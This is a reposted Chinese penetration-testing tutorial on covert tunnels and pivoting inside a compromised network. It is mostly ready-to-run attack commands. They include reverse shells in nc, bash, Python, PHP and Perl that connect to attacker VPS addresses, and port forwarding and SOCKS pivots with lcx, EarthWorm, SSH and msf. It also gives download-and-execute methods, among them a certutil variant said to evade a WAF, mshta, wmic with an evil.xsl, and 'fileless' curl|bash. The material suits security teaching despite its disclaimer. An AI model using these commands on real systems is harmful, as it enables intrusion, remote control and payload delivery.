7、隐藏通信隧道基本知识

admin 2022年5月1日14:43:53评论130 views字数 9538阅读31分47秒阅读模式

7、隐藏通信隧道基本知识

7.1、概述

网络层:IPv6隧道、ICMP隧道、GRE隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

7.2、判断内网的连通性

7.2.1、ICMP协议

执行命令“ping <ip地址或域名>”

ping baidu.com

7.2.2、TCP协议

使用nc工具,执行“nc <ip地址 端口号>”

nc -zv 192.168.1.2 80

7.2.3、HTTP协议

使用curl工具,执行“curl <IP地址 端口号>”

curl www.baidu.com 80

7.2.4、DNS协议

在进行DNS连通性检测时,常用的命令为nslookup和dig,命令分别如下:

nslookup www.baidu.com vps-ip   #使用nslookup工具dig @vps-ip www.baidu.com A     #使用dig工具

7.3、lcx端口转发

7.3.1、内网端口转发

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。

lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389

在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。

lcx.exe -listen 4444 5555

此时,用mstsc登录“<公网主机ip地址>:5555”,或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。

7.3.2、本地端口映射

如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接到目标主机的53端口。

lcx -tran 53 <目标主机IP地址> 3389

7.4、netcat的使用

1、端口监听

nc -l -p 9999

2、文件传输

在本地VPS主机中输入如下命令,开始监听,一旦连接建立,数据便会流入

nc -lp 333 > 1.txt

在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为test.txt的文本文件

nc -vn 192.168.1.4 333 < test.txt -q 1

3、简易聊天

在本地VPS上输入如下命令

nc -l -p 888

在目标主机上输入如下命令

nc -vn 192.168.1.4 888

具体的用法可以参考https://blog.csdn.net/cunjiu9486/article/details/109074000

7.5、shell的用法和介绍

shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端想要获取服务器的shell,就称为正向shell;如果客户端连接服务器,服务器想要获取客户端得到shell,就称为反向shell。反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。

7.5.1、nc反弹shell

(1)、正向shell

输入以下命令,监听目标主机的4444端口:

nc -lvp 4444

输入如下命令,在本地或者vps主机上连接目标主机的4444端口

nc 192.168.1.11 4444 -e /bin/sh      #Linuxnc 192.168.1.11 4444 -e C:WindowsSystem32cmd.exe    #Windows

(2)、反向shell

输入如下命令,在本地或者VPS主机上监听本地9999端口

nc -lvp 9999

在目标主机中输入如下命令,连接VPS主机的9999端口

nc 139.9.33.11 9999 -e /bin/sh      #Linuxnc 139.9.33.11 9999 -e C:WindowsSystem32cmd.exe    #Windows

7.5.2、反弹shell总结

1、python反向shell

执行如下命令,在VPS上监听本地2222端口

nc -lvp 2222

在目标主机上执行命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2、Bash反向shell

执行如下命令,在VPS上监听本地4444端口

nc -lvp 4444

在目标主机上执行如下命令

bash -i >& /dev/tcp/139.9.168.107/4444 0>&1
3、PHP反向shell

执行如下命令,在VPS上监听本地4444端口

nc -lvp 4444

执行如下命令实现PHP环境下的反弹shell

php -r '$sock=fsockopen("VPS的地址",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
4、Perl反向shell

执行如下命令,在VPS上监听本地4444端口

nc -lvp 4444

如果此时目标主机使用的是Perl,仍然可以使用Perl来建立反向shell,在目标主机上执行如下命令

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖/bin/bash

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

在window上运行

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7.6、应用层隧道技术

7.6.1、SSH协议

创建SSH隧道的常用参数说明如下

  • -C:压缩传输,提高传输速度。

  • -f:将SSH传输转入后台执行,不占用当前的shell。

  • -N:建立静默连接(建立了连接,但是看不到具体会话)。

  • -g:允许远程主机连接本地用于转发的端口。

  • -L:本地端口转发。

  • -R:远程端口转发。

  • -D:动态转发(SOCKS代理)。

  • -P:执行SSH端口。

1、本地转发

环境说明:攻击者VPS【192.168.1.4】,攻击者VPS可以访问内网Web服务器【192.168.1.11、1.1.1.16】,但不能访问数据库服务器,内网Web服务器和数据库服务器【1.1.1.10】可以互相访问。测试目标为:以Web服务器为跳板。访问数据库服务器的3389端口。

以Web服务器192.168.1.11为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS机器192.168.1.4的1153端口,再访问VPS的1153端口,就可以访问1.1.1.10的3389端口了。

ssh -CFNg -L 1153(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.11(跳板机)

再连接本地1153端口即可访问数据库服务器的3389端口了

rdesktop 127.0.0.1:1153
2、远程转发

环境说明:攻击者VPS【192.168.1.4】,攻击者VPS不能访问内网中的三台服务器;内网Web服务器【1.1.1.200】可以访问外网VPS,数据库服务器(1.1.1.10)和域控制器(1.1.1.2)均不能访问外网VPS,测试目标为:通过外网VPS访问数据库服务器的3389端口。

以Web服务器为跳板,将VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口,就可以访问1.1.1.10的3389端口了。

在Web服务器1.1.1.200上执行如下命令:

ssh -CfNg -R 3307(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.4

在本地访问VPS的3307端口,可以发现已经和数据库服务器1.1.1.10的3389端口建立了连接:

rdesktop 127.0.0.1:3307
3、动态转发

在VPS上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器【192.168.1.11】的密码:

ssh -Cfng -D 7000 root@@1922.168.1.11

然后在本地打开浏览器,设置网络代理【127.0.0.1:7000】,通过浏览器访问内网域控制器1.1.1.2,动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。


7.6.2、HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网,常见的代理工具如下:

https://github.com/sensepost/reGeorghttps://github.com/L-codes/Neo-reGeorg

7.6.3、DNS协议

在网络世界中,DNS是一个必不可少的服务;另一个方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。而在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的C&C通信端口会被众多安全设备所监控,Red Team对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&c通信无法建立,在这样的情况下,Red Team可以使用DNS隐蔽隧道建立通信。

常见的DNS隐蔽隧道建立工具有dnscat2【https://github.com/iagox86/dnscat2】和iodine【https://github.com/yarrick/iodine】。

参考资料

https://xz.aliyun.com/t/2214
https://blog.csdn.net/localhost01/article/details/86591685
https://blog.csdn.net/tan6600/article/details/52142254
http://www.91ri.org/16386.html

7.7、socks代理

7.7.1、EarthWorm的应用

1、正向SOCK5服务器

以下命令适用于目标机器拥有一个外网IP地址的情况:

ew -s ssocksd -l 888

执行以上命令,即可架设一个端口为888的SOCKS代理。接下来使用Proxifier或者SockCap64添加这个IP地址的代理即可。

2、反弹SOCK5服务器

目标机器没有公网IP且需要访问内网资源的情况下可以使用该命令,首先,在你的VPS中执行以下命令:

ew -s rcsocks -l 1008 -e 888

该命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。

然后在目标机器上执行如下命令:

./ew -s rssocks -d 8.142.189.101 -e 80

现在访问公网VPS的1008端口就能访问内网资源了

3、二级网络资源(a)

场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.48.128.25)只能连接内网的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,但无法访问外网。

首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下:

ew -s ssocksd -l 888

然后,将EW上传到A主机中,执行如下命令:

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888

该命令的意思是将1080端口收到的代理请求转发给B主机【10.48.128.49】的888端口,现在就能通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理了。

4、二级网络环境(b)

场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限,A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。

首先,将EW上传到公网VPS中,执行如下命令:

ew -s lcx_listen -l 10800 -e 888

该命令的意思是在公网VPS中添加转接隧道,将10800端口收到的代理请求转发到888端口。接着将EW上传到B主机【10.48.128.49】中,并利用ssocksd方式启动999端口的SOCKS代理了,命令如下:

ew -s ssocksd -l 999

然后将EW上传到A主机中,执行如下命令:

ew -s lcx_slave -d [VPS的地址] -e 888 -f 10.48.128.49 -g 999

最后通过访问公网VPS的10800端口使用在B主机上架设的SOCKS5代理了。

7.1.2、IOX的应用

转发

监听0.0.0.0:8888和0.0.0.0:9999,将两个连接间的流量转发

./iox fwd -l 8888 -l 9999

监听0.0.0.0:8888,把流量转发到1.1.1.1:9999

./iox fwd -l 8888 -r 1.1.1.1:9999

连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

代理

在1.1.1.1上执行

iox.exe proxy -l 9999 -l 1080

在目标机上执行

iox.exe proxy -r 1.1.1.1:9999

出现以上提示即为转发成功

7、隐藏通信隧道基本知识

7.1.3、msf的应用

前期通过msf获取shell权限后,使用以下命令代建内网代理

use auxiliary/server/socks_proxyset srvhost 1.1.1.1set srvport 1080run

然后打开/etc/proxychains.conf,在文件中加上

socks5 1.1.1.1 1080

7.8、上传和下载

7.8.1、Windows

1、通过certutil.exe下载文件
certutil.exe -urlcache -split -f http://127.0.0.1/2.exe

可通过以下变形绕过waf:

"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe
2、通过vbs下载文件

往往在实战中,没有上传的方便条件,尤其是目标机是windows,只有echo方式来写入vbs。将以下代码保存为downfile.vbs

set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2

命令行下执行,即可远程下载rebots.txt文件并保存为b.txt。

cscript downfile.vbs http://192.168.1.115/robots.txt C:Inetpubb.txt

在实际环境中,可以通过运行如下命令来写入vps

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbsecho Set Shell = CreateObject("Wscript.Shell") >>hhh.vbsecho Post.Open "GET","http://127.0.0.1/1.exe",0 >>hhh.vbsecho Post.Send() >>hhh.vbsecho Set aGet = CreateObject("ADODB.Stream") >>hhh.vbsecho aGet.Mode = 3 >>hhh.vbsecho aGet.Type = 1 >>hhh.vbsecho aGet.Open() >>hhh.vbsecho aGet.Write(Post.responseBody) >>hhh.vbsecho aGet.SaveToFile "2.exe",2 >>hhh.vbs
3、通过FTP下载文件
echo open 192.168.1.115 21 > ftp.txtecho 123 >> ftp.txt //userecho 123 >> ftp.txt //passwordecho binary >> ftp.txt //bin模式echo get robots.txt >> ftp.txtecho bye >> ftp.txt
4、通过js下载文件
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText);

保存为1.js,命令行下执行:

cscript /nologo 1.js http://192.168.1.115/robots.txt
5、通过bitsadmin下载文件

BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。运行如下命令下载文件:

E:>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:PDFrobots.txt

如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。

bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:PDFrobots.txt

注意:bitsadmin不支持HTTPS和FTP协议,也不支持Windows XP/Sever 2003及以前的版本。

6、通过powsershell下载文件

自Windows7以后内置了powershell,如Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0。

PowerShell2.0

$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:PDF" ForEach ( $item in $Urls)
{
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}

命令行下运行:

powershell -File down.ps1

PowerShell3.0

$url = "http://192.168.1.115/robots.txt"
$output = "C:inetpubrobots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"

命令行下运行:

powershell  C:inetpubdown1.ps1

注:需要绝对路径

你也可以使用一句话来下载文件:

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:robots.txt')
7、通过wmic下载文件

执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:

wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
8、通过mshta下载文件

mshta用于执行.hta文件

mshta http://192.168.28.128/run.hta
9、通过pubprn.vbs下载文件

在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:

"C:WindowsSystem32Printing_Admin_Scriptszh-CNpubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

7.8.2、Linux

1、通过curl下载文件

可以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。

方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
2、通过wget下载文件
方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
3、curl和wget合并,实现无文件远程恶意代码执行
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
4、通过rcp下载文件
rcp [email protected]:./testfile testfile
5、通过scp下载文件

scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。

scp username@servername:/path/filename /tmp/local_destination
6、通过rsync下载文件

使用rsync可以进行远程同步,拉取文件到本地服务器。

rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt

该内容转载自网络,更多内容请点击“阅读原文”

7、隐藏通信隧道基本知识

原文始发于微信公众号(web安全工具库):7、隐藏通信隧道基本知识

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日14:43:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   7、隐藏通信隧道基本知识https://cn-sec.com/archives/965299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息